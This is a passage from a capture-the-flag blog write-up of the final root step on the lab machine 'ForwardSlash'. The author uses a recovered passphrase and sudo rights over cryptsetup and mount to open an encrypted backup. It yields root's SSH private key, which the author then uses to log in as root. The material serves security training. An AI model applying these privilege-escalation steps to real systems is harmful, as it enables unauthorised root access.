Key: ttttttttttttttttt, Msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
And the key ttttttttttttttttt
and as i expected there i encrypted image for /var/backups/recovery and we got a password cB!6%sdH8Lj^@Y*$C2cf
for the images too , Now we can map the images using cryptsetup
As we can run it with root.
Here is the encrypted_backup.img
1
2
3
4
5
pain@forwardslash:/var/backups/recovery$ ls -la
total 976576
drwxrwx--- 2 root backupoperator 4096 May 27 2019 .
drwxr-xr-x 3 root root 4096 Mar 24 10:10 ..
-rw-r----- 1 root backupoperator 1000000000 Apr 21 16:01 encrypted_backup.img
we can map encrypted_backup.img
with cryptsetup in /dev/mapper/backup
1
2
3
pain@forwardslash:~$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img:
pain@forwardslash:~$
Now we need to head towards /dev/mapper
.To check for mapped images
1
2
3
4
5
pain@forwardslash:/dev/mapper$ ls -la
total 0
drwxr-xr-x 2 root root 100 Apr 21 15:56 .
drwxr-xr-x 18 root root 3940 Apr 21 15:56 ..
lrwxrwxrwx 1 root root 7 Apr 21 15:56 backup -> ../dm-1
Okay so its been created now we can mount the images to mnt
dir .
1
2
pain@forwardslash:~$ mkdir mnt
pain@forwardslash:~$ sudo /bin/mount /dev/mapper/backup ./mnt/
And its get mounted to mnt
dir.
Lets Check what we got !!!!!!!1
1
2
3
4
5
pain@forwardslash:~/mnt$ ls -la
total 8
drwxr-xr-x 2 root root 20 Mar 17 20:07 .
drwxr-xr-x 8 pain pain 4096 Apr 21 16:34 ..
-rw-r--r-- 1 root root 1675 May 27 2019 id_rsa
And we got a private ssh-keys for user root
![Id_rsa]/fc3efc98-2e39-4362-a947-742f099ec8fc/image-7.png)
And i can use them to login as root
Got root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜ forwardslash ssh -i id_rsa root@forwardslash.htb
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Apr 21 16:39:39 UTC 2020
System load: 0.0 Processes: 190
Usage of /: 30.6% of 19.56GB Users logged in: 1
Memory usage: 11% IP address for ens33: 10.10.10.183
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
16 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3
root@forwardslash:~# cat root.txt
018---------------------------622
root@forwardslash:~#
And we pwned it …….
If u liked the writeup.Support a Poor Student to Get the OSCP-Cert
on BuymeaCoffee
If you want to get notified as soon as i upload something new to my
blog
So just click on the bell icon you are seeing on the right side – > and allow pushnotification
Resources
Topic | Details |
---|---|
PayloadAllTheThings php Wrapper | PayloadAllTheThings |
Comments powered by Disqus.